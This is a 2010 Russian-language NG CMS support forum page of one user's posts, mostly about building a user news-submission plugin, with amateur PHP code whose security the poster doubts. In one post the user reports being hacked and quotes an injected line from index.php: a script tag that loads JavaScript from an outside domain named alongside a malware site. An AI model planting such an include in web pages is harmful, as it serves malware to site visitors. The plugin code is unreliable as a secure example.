Next Generation CMS :: Форум поддержки

Заинтересовала наша система? Тогда этот форум для Вас!

Вы не зашли.

#1 Re: "У меня не работает..." » Ломанули =( » 2010-08-30 18:00:31

Вернул на место старый сайт, от ng пока отказался... sad

#2 "У меня не работает..." » Ломанули =( » 2010-08-27 14:19:17

FlatFX
Ответов: 4

Всем привет! Проблема такая: не так давно скачал 0.9.2 Release Candidate 1, нашёл красивый чёрный шаблон от DLE, занялся адаптацией, на это время закрыл сайт, вчера отваливается шутбокс на форуме (форум закрытый, все свои), затем мне пользователи говорят, что антивирус стал ругаться вот так:
http://s003.radikal.ru/i203/1008/51/6279e3a8cd81.jpg
В исходнике ничего не нашёл. Но nuttypiano.com действительно вредоносный сайт.
Дальше интереснее. Смотрю логи:

[Thu Aug 26 22:21:44 2010] [error] PHP Parse error:  syntax error, unexpected '<' in /home/c/cl*/cl*.tmweb.ru/public_html/index.php on line 231

Они показывают на файл CMS, а не форума.
В этот день я ничего не делал с NG CMS.
Смотрю индекс:

228  // Call maintanance actions
229  exec_acts('maintenance');
230  if ($config['auto_backup'] == "1") { AutoBackup(); }
231  <script type="text/javascript" src="http://illmoney.ru/Webcam.js"></script>
232  <!--3663ae803360dbf9a51c8052ba2132ff-->

А теперь вопрос на засыпку. Это дырка на сайте или кто-то мог по фтп под моим логином закинуть?
Просто бэкап то я сделаю, но смысл... Надо узнать кто, что и как...

#3 "У меня не работает..." » Функция insertext... » 2010-05-05 17:09:18

FlatFX
Ответов: 0

В собственном шаблоне не хочет работать эта функция! textarea полностью повторяет дефолтный шаблон, но неработает нигде, кроме админки, в чём может быть дело?

Я же не могу каждый раз подменять эту функцию на innerHTML по ID...

#4 Re: "А как сделать..." » Подключение капчи к плагину » 2010-05-01 23:18:04

вот архив: http://fortyhertzmuzik.ifolder.ru/17540544, но темплейт кривой и находится в папке шаблона, его высылать нет смысла, потому как там на CSS всё завязано.
посмотреть что сделано можно тут: http://fortyhertzmuzik.ru/plugin/addnews/ (логин и пароль test)
мне надо прикрутить капчу хотя бы... roll
о предпросмотре молчу...)))

#5 Re: "А как сделать..." » добавление новостей » 2010-05-01 18:21:03

это просто смешно собрать такой двиг и вырезать функцию только из-за того, что она не влезала в диз big_smile

логин/пасс: test
http://fortyhertzmuzik.ru/plugin/addnews/

просмотр почему-то отваливался или всплывал до шаблона, пришлось его убрать...
и ещё предупреждение о пустой странице или загловке отсутствует потому что я не понял как обнулять поля и использовал функцию проверки для отключения отправки...

может какие-нибудь XSS проверить или что вообще, я не знаю даже как взломать могут.

#6 Re: "А как сделать..." » добавление новостей » 2010-05-01 15:14:11

новая панель добавления новостей значительно шире старой, в итоге она практически ни в один дизайн не могла влезть.

это что ли?

#7 Re: "А как сделать..." » добавление новостей » 2010-05-01 13:40:40

Ха, так он и из коробки не обнулялся) То есть в админке так же...
[hr /]офф...
Как это дело проверить на безопасность? Сдаётся мне функцию добавления новостей юзверями не случайно вырезали... Если это не закрытый баг, то хоть в ЛС скажите, не хочется, чтобы сайт ломанули...:(

#8 Re: "А как сделать..." » Подключение капчи к плагину » 2010-05-01 13:33:53

 © Настоящий программист никогда не ставит 
 комментариев. То, что писалось с трудом, должно 
 пониматься с трудом. :))

Уже порадовало... big_smile

Ок, вроде нашёл то что нужно...:rolleyes:

#9 Re: "А как сделать..." » Журналист, как его новости не подтверждать? » 2010-04-30 18:00:34

Не работает для 0.9.1, да и вообще, зачем из журналиста делать редактора и везде доступ подменять.
надо найти что именно отвечает за конфигурацию флагов.



// Configure flags
$tvars['vars']['flag_mainpage']  = (($userROW['status'] == 1)||($userROW['status'] == 2)||($userROW['status'] == 3))?'checked="checked"':'disabled="disabled"';
$tvars['vars']['flag_approve']   = (($userROW['status'] == 1)||($userROW['status'] == 2)||($userROW['status'] == 3))?'checked="checked"':'disabled="disabled"';

Вот и всё

#10 "А как сделать..." » Подключение капчи к плагину » 2010-04-30 17:10:32

FlatFX
Ответов: 5

В шаблоне капча прописана, картинка показывается, но даже если капча не заполнена, функция выполняется, как правильно подключить в скрипте плагина?

#11 Re: "А как сделать..." » добавление новостей » 2010-04-30 01:03:51

Эх всё равно много косяков вышло, комментатора опять не пускает, при открытии пытается отправить, если перезагрузить страницу, то дублирует отправку новости...

#12 Re: "А как сделать..." » добавление новостей » 2010-04-29 23:56:05

Wolverine пишет:

Проблема в том, что ты делаешь все методом тыка))

wiki пишет:

register_plugin_page($pname, $mode, $func_name, $show_template = 1)

$pname – идентификатор плагина
$mode – команда, передаваемая плагину (пример обращения: ?action=plugin&plugin=&plugin_cmd=&), если команды нет – прописываем просто ‘’
$func_name – наименование функции-обработчика данной команды
$show_template – сейчас не используется

Параметр $func_name у тебя пустой.

Ты прав, я всё таки не кодер...)
Всё сделал, всё работает, сейчас только темплейт поправлю и сюда тогда выложу, спасибо тебе. smile

#13 Re: "А как сделать..." » добавление новостей » 2010-04-29 23:50:50

sshot1e.jpg
big_smile
мда... теперь будем додумывать свой тпл...

кстати два вопроса:
$tpl -> template('addnews', defined('ADMIN')?tpl_actions:tpl_site); - если я хочу tpl плагина, то пишу extras_dir/(addnews/tpl/addnews.tpl) так? он пишет что директория не существует...:rolleyes:

и второй вопрос, я не хочу язык из админки, как мне кнопки подписать?:|

#14 Re: "А как сделать..." » добавление новостей » 2010-04-29 23:29:45

Это я делал,  тут в чём-то другом проблема...

#16 Re: "А как сделать..." » добавление новостей » 2010-04-29 22:43:10

ну я на всякий случай прописал:

ini_set('display_errors',1);
error_reporting(E_ALL ^E_NOTICE);

и вот теперь такое выдаёт... блин, туго дело.

#17 Re: "А как сделать..." » добавление новостей » 2010-04-29 22:25:49

оййй я же не то скинул-то! big_smile
там почти пустой файл)))

спасибо за подсказку, буду колдовать...:)

Call to a member function template()

$tpl -> template('addnews', $tpath['addnews']);

sad

#19 Re: "А как сделать..." » добавление новостей » 2010-04-29 19:08:22

Wolverine пишет:

А чего его жалеть-то)) addnews.php в открытом доступе big_smile Так где архив? smile

тут addnews это название плагина smile
фактически ничего не изменено, только вывод на шаблон и вначале проверка на гостя.

#20 Re: "А как сделать..." » добавление новостей » 2010-04-29 19:06:12

Прикрепленные файлы:
addnews.zip, Размер: 4,650 байт, Скачано: 0

ну или http://ngcms.ru/forum/attachment.php?item=335

я просто чего-то не понимаю как правильно прописать вывод и даже не знаю работает ли сама функция, отладчика нет, логов нет, пальцем в небо...

#22 Re: "А как сделать..." » добавление новостей » 2010-04-29 15:37:00

Ну, плагином это не назовёшь конечно...

<?php

if (!defined('NGCMS')) die ('HAL');

register_plugin_page('addnews','','',0);

@include_once root.'core.php';


if (!defined('NGCMS')) die ('HAL');
if ($userROW['status'] > 4) {
	@header("Location: ".home);
	exit;
}
if ($userROW['status'] < 1) {
	@header("Location: ".home);
	exit;
}

@include_once root.'includes/classes/upload.class.php';

$SYSTEM_FLAGS['info']['title']['group']	= $lang['loc_addnews'];

$lang = LoadLang('addnews', defined('ADMIN')?'admin':'site');

$situation = "news";

function addnews(){
	global $mysql, $lang, $userROW, $parse, $PFILTERS, $config, $catz, $catmap;
	global $c_day, $c_month, $c_year, $c_hour, $c_minute;


	$title = $_REQUEST['title'];
	$content = $_REQUEST['content'];
	$alt_name = $parse->translit( trim($_REQUEST['alt_name']), 1);


	// Check title
	if ( (!strlen(trim($title))) || (!strlen(trim($content))) ) {
		msg(array("type" => "error", "text" => $lang['msge_fields'], "info" => $lang['msgi_fields']));
		return 0;
	}

	$SQL['title'] = $title;

	// Check for dup if alt_name is specified
	if ($alt_name) {
		if ( is_array($mysql->record("select id from ".prefix."_news where alt_name = ".db_squote($alt_name)." limit 1")) ) {
			msg(array("type" => "error", "text" => $lang['msge_alt_name'], "info" => $lang['msgi_alt_name']));
			return;
		}
		$SQL['alt_name'] = $alt_name;
	} else {
		// Generate uniq alt_name if no alt_name specified
		$alt_name = strtolower($parse->translit(trim($title), 1));
		// Make a conversion:
		// * '.'  to '_'
		// * '__' to '_' (several to one)
		// * Delete leading/finishing '_'
		$alt_name = preg_replace(array('/\./', '/(_{2,20})/', '/^(_+)/', '/(_+)$/'), array('_', '_'), $alt_name);

		// Make alt_name equal to '_' if it appear to be blank after conversion
		if ($alt_name == '') $alt_name = '_';

		$i = '';
		while ( is_array($mysql->record("select id from ".prefix."_news where alt_name = ".db_squote($alt_name.$i)." limit 1")) ) {
			$i++;
		}
		$SQL['alt_name'] = $alt_name.$i;
	}

	if ($_REQUEST['customdate']) {
		$SQL['postdate'] = mktime($c_hour, $c_minute, 0, $c_month, $c_day, $c_year) + ($config['date_adjust'] * 60);
	} else {
		$SQL['postdate'] = time() + ($config['date_adjust'] * 60);
	}

	$SQL['editdate'] = $SQL['postdate'];

	// Fetch MASTER provided categories
	$catids = array ();
	if (intval($_POST['category']) && isset($catmap[intval($_POST['category'])])) {
		$catids[intval($_POST['category'])] = 1;
	}

	// Fetch ADDITIONAL provided categories
	foreach ($_POST as $k => $v) {
		if (preg_match('#^category_(\d+)$#', $k, $match) && $v && isset($catmap[intval($match[1])]))
			$catids[$match[1]] = 1;
	}

	if ($config['meta']) {
		$SQL['description']	= $_REQUEST['description'];
		$SQL['keywords']	= $_REQUEST['keywords'];
	}

	$SQL['author']		= $userROW['name'];
	$SQL['author_id']	= $userROW['id'];
	$SQL['catid']		= implode(",", array_keys($catids));

	// Use flag 'allow comments' only in case when plugin 'comments' is installed
	if (getPluginStatusInstalled('comments'))
		$SQL['allow_com']	= $_REQUEST['allow_com'];

	// Variable FLAGS is a bit-variable:
	// 0 = RAW mode		[if set, no conversion "\n" => "<br />" will be done]
	// 1 = HTML enable	[if set, HTML codes may be used in news]

	$SQL['flags'] = 0;
	switch ($userROW['status']) {
		case 1:		// admin can do anything
			$SQL['flags']	=	($_REQUEST['flag_RAW']?1:0) + ($_REQUEST['flag_HTML']?2:0);
			break;

		case 2:		// Editor. Check if we have permissions
			if (!$config['htmlsecure_2'])
				$SQL['flags']	=	($_REQUEST['flag_RAW']?1:0) + ($_REQUEST['flag_HTML']?2:0);
			break;

		case 3:		// Journalists. Check if we have permissions
			if (!$config['htmlsecure_3'])
				$SQL['flags']	=	($_REQUEST['flag_RAW']?1:0) + ($_REQUEST['flag_HTML']?2:0);
			break;

		case 4:		// Commentors. Check if we have permissions
			if (!$config['htmlsecure_4'])
				$SQL['flags']	=	($_REQUEST['flag_RAW']?1:0) + ($_REQUEST['flag_HTML']?2:0);
			break;
	}

	// This actions are allowed only for admins & Edtiors
	if (($userROW['status'] == 1)||($userROW['status'] == 2)) {
		$SQL['mainpage']	= intval($_REQUEST['mainpage']);
		$SQL['approve']		= intval($_REQUEST['approve']);
		$SQL['favorite']	= intval($_REQUEST['favorite']);
		$SQL['pinned']		= intval($_REQUEST['pinned']);
	}

	$content = str_replace("\r\n", "\n", $content);
	$SQL['content']		= $content;

	exec_acts('addnews');

	$pluginNoError = 1;
	if (is_array($PFILTERS['news']))
		foreach ($PFILTERS['news'] as $k => $v) {
			if (!($pluginNoError = $v->addNews($tvars, $SQL))) {
				msg(array("type" => "error", "text" => str_replace('{plugin}', $k, $lang['msge_pluginlock'])));
				break;
			}
		}

	if (!$pluginNoError) {
		return 0;
	}

	$vnames = array(); $vparams = array();
	foreach ($SQL as $k => $v) { $vnames[]  = $k; $vparams[] = db_squote($v); }

	$mysql->query("insert into ".prefix."_news (".implode(",",$vnames).") values (".implode(",",$vparams).")");
	$id = $mysql->result("SELECT LAST_INSERT_ID() as id");

	// Update category / user posts counter [ ONLY if news is approved ]
	if ($SQL['approve']) {
		if (count($catids)) {
			$mysql->query("update ".prefix."_category set posts=posts+1 where id in (".implode(", ",array_keys($catids)).")");
			foreach (array_keys($catids) as $catid) {
				$mysql->query("insert into ".prefix."_news_map (newsID, categoryID) values (".db_squote($id).", ".db_squote($catid).")");
			}
		}
		$mysql->query("update ".uprefix."_users set news=news+1 where id=".$SQL['author_id']);
	}

	if (is_array($PFILTERS['news']))
	foreach ($PFILTERS['news'] as $k => $v) { $v->addNewsNotify($tvars, $SQL, $id); }

	exec_acts('addnews_', $id);
	msg(array("text" => $lang['msgo_added'], "info" => sprintf($lang['msgi_added'], admin_url.'/admin.php?mod=editnews&action=editnews&id='.$id, admin_url.'/admin.php?mod=editnews')));


	// Now let's manage attached files
	$fmanager = new file_managment();

	$flagUpdateAttachCount = false;

	// Delete files (if needed)
	foreach ($_POST as $k => $v) {
		if (preg_match('#^delfile_(\d+)$#', $k, $match)) {
			$fmanager->file_delete(array('type' => 'file', 'id' => $match[1]));
			$flagUpdateAttachCount = true;
		}
	}


	//print "<pre>".var_export($_FILES, true)."</pre>";
	// PREPARE a list for upload
	if (is_array($_FILES['userfile']['name']))
		foreach($_FILES['userfile']['name'] as $i => $v) {
			if ($v == '')
				continue;

			$flagUpdateAttachCount = true;
			//
			$up = $fmanager->file_upload(array('dsn' => true, 'linked_ds' => 1, 'linked_id' => $id, 'type' => 'file', 'http_var' => 'userfile', 'http_varnum' => $i));
			//print "OUT: <pre>".var_export($up, true)."</pre>";
			if (!is_array($up)) {
				// Error uploading file
				// ... show error message ...
			}

		}

	// Update attach count if we need this
	if ($flagUpdateAttachCount) {
		$attachCount = $mysql->result("select count(*) as cnt from ".prefix."_files where (storage=1) and (linked_ds=1) and (linked_id=".db_squote($id).")");
		$mysql->query("update ".prefix."_news set attach_count = ".intval($attachCount)." where id = ".db_squote($id));
	}

	return 1;
}

    $JEV = 'null';
	if ($subaction == "add") {
	        // If we have an error - fill all variables again
		if (!news_add()) {
			$jarr = array();
			foreach ($_POST as $k => $v)
				if (is_array($v)) {
					foreach ($v as $vk => $vv)
						if (!is_array($vv))
							$jarr[$k][$vk] = iconv('Windows-1251', 'UTF-8', $vv);
				} else {
					$jarr[$k] = iconv('Windows-1251', 'UTF-8', $v);
				}
			$JEV = json_encode($jarr);
		}
	}

	$tvars['vars'] = array(
		'php_self'			=> $PHP_SELF,
		'changedate'		=> ChangeDate(),
		'mastercat'			=>	makeCategoryList(array('doempty' => 1, 'nameval' => 0)),
		'extcat'			=>  makeCategoryList(array('nameval' => 0, 'checkarea' => 1)),
		'JEV'			=> $JEV
	);

	$tvars['vars']['smilies']	= ($config['use_smilies'])?InsertSmilies('content', 20):'';
	$tvars['vars']['quicktags']	= ($config['use_bbcodes'])?QuickTags('', 'news'):'';

	if ($userROW['status'] < 3) {
		$tvars['vars']['[options]'] = "";
		$tvars['vars']['[/options]'] = "";
	} else {
		$tvars['regx']['#\[options\].*?\[/options\]#si'] = '';
	}

	if ($config['meta']) {
		$tvars['vars']['[meta]'] = "";
		$tvars['vars']['[/meta]'] = "";
	} else {
		$tvars['regx']['#\[meta\].*?\[/meta\]#si'] = '';
	}

	if ( is_array($userROW) && ($userROW['status']== "1" || $userROW['status']== "2") ) {
		$tvars['vars']['[if-have-perm]'] = "";
		$tvars['vars']['[/if-have-perm]'] = "";
	} else {
		$tvars['regx']["'\\[if-have-perm\\].*?\\[/if-have-perm\\]'si"] = "";
	}

	$flock = 0;
	switch ($userROW['status']) {
		case 2:		if ($config['htmlsecure_2']) $flock = 1;	break;
		case 3:		if ($config['htmlsecure_3']) $flock = 1;	break;
		case 4:		if ($config['htmlsecure_4']) $flock = 1;	break;
	}

	$tvars['vars']['disable_flag_raw'] = $flock?'disabled':'';
	$tvars['vars']['disable_flag_html'] = $flock?'disabled':'';

	// Configure flags
	$tvars['vars']['flag_mainpage']  = (($userROW['status'] == 1)||($userROW['status'] == 2))?'checked="checked"':'disabled="disabled"';
	$tvars['vars']['flag_approve']   = (($userROW['status'] == 1)||($userROW['status'] == 2))?'checked="checked"':'disabled="disabled"';
	$tvars['vars']['flag_favorite']  = (($userROW['status'] == 1)||($userROW['status'] == 2))?'':'disabled="disabled"';
	$tvars['vars']['flag_pinned']    = (($userROW['status'] == 1)||($userROW['status'] == 2))?'':'disabled="disabled"';
	$tvars['vars']['flag_allow_com'] = 'checked="checked"';

	// Disable flag for comments if plugin 'comments' is not installed
	$tvars['regx']['#\[comments\](.*?)\[\/comments\]#is'] = getPluginStatusInstalled('comments')?'$1':'';

	// Run interceptors
	if (is_array($PFILTERS['news']))
		foreach ($PFILTERS['news'] as $k => $v) { $v->addNewsForm($tvars); }

	$tpl -> template('addnews', $tpath['addnews']);
	$tpl -> vars('addnews', $tvars);
	
	$output = $tpl -> show('addnews');
	$template['vars']['mainblock':'plugin_addnews'] = $output;

#23 Re: "А как сделать..." » добавление новостей » 2010-04-29 15:00:44

Ошибка: Вызываемый метод недоступен для плагина 'addnews' *WALL*

Причём даже если я ничего в php файле не произвожу...

	$tpl -> template('addnews', $tpath['addnews']);
	$tpl -> vars('addnews', $tvars);
	
	$output = $tpl -> show('addnews');
	$template['vars']['mainblock':'plugin_addnews'] = $output;

В этом коде может быть проблема?
Шаблон addnews.tpl есть и в папке tpl в плагине и папке темы...

#24 Re: FAQ » Патч для форм редактирования на bb кодах » 2010-04-29 13:49:23

этот инсерт текст глупая затея вообще, иннер хтмл работает везде, но ещё одна глупая затея везде ставить айди "content", пришлось все формы менять на content5 например, и туда уже делать иннерхтмл...
почему? да потому что в опере работает, в мозиле кое как, а в хроме отваливается.

#25 Re: "А как сделать..." » добавление новостей » 2010-04-28 01:16:25

Сообщу об "успехах", теперь новость на сайт могут добавлять и опубликовывать все все все...:D:D:D

Тааак... Уже лучше, удалось сохранить разрешения групп, гости идут мимо, своя форма новостей готова, теперь колдую над встраиванием в шаблон...

Назвал файл add.php и поместил в папку engine...

<?php
@include_once 'core.php';
if (!defined('NGCMS')) die ('HAL');
if ($userROW['status'] > 4) {
	@header("Location: ".home);
	exit;
}
if ($userROW['status'] < 1) {
	@header("Location: ".home);
	exit;
}

require("./actions/addnews.php");

Проблема в том, что в файле addnews.php (для опытов использовал другое название) отказывается выполнять это:

$template['vars']['mainblock'] .= $tpl -> show('addnews');

То есть в шаблон сайта никак не воткнуть результат отработки скрипта... sad

Подвал раздела

Работает на FluxBB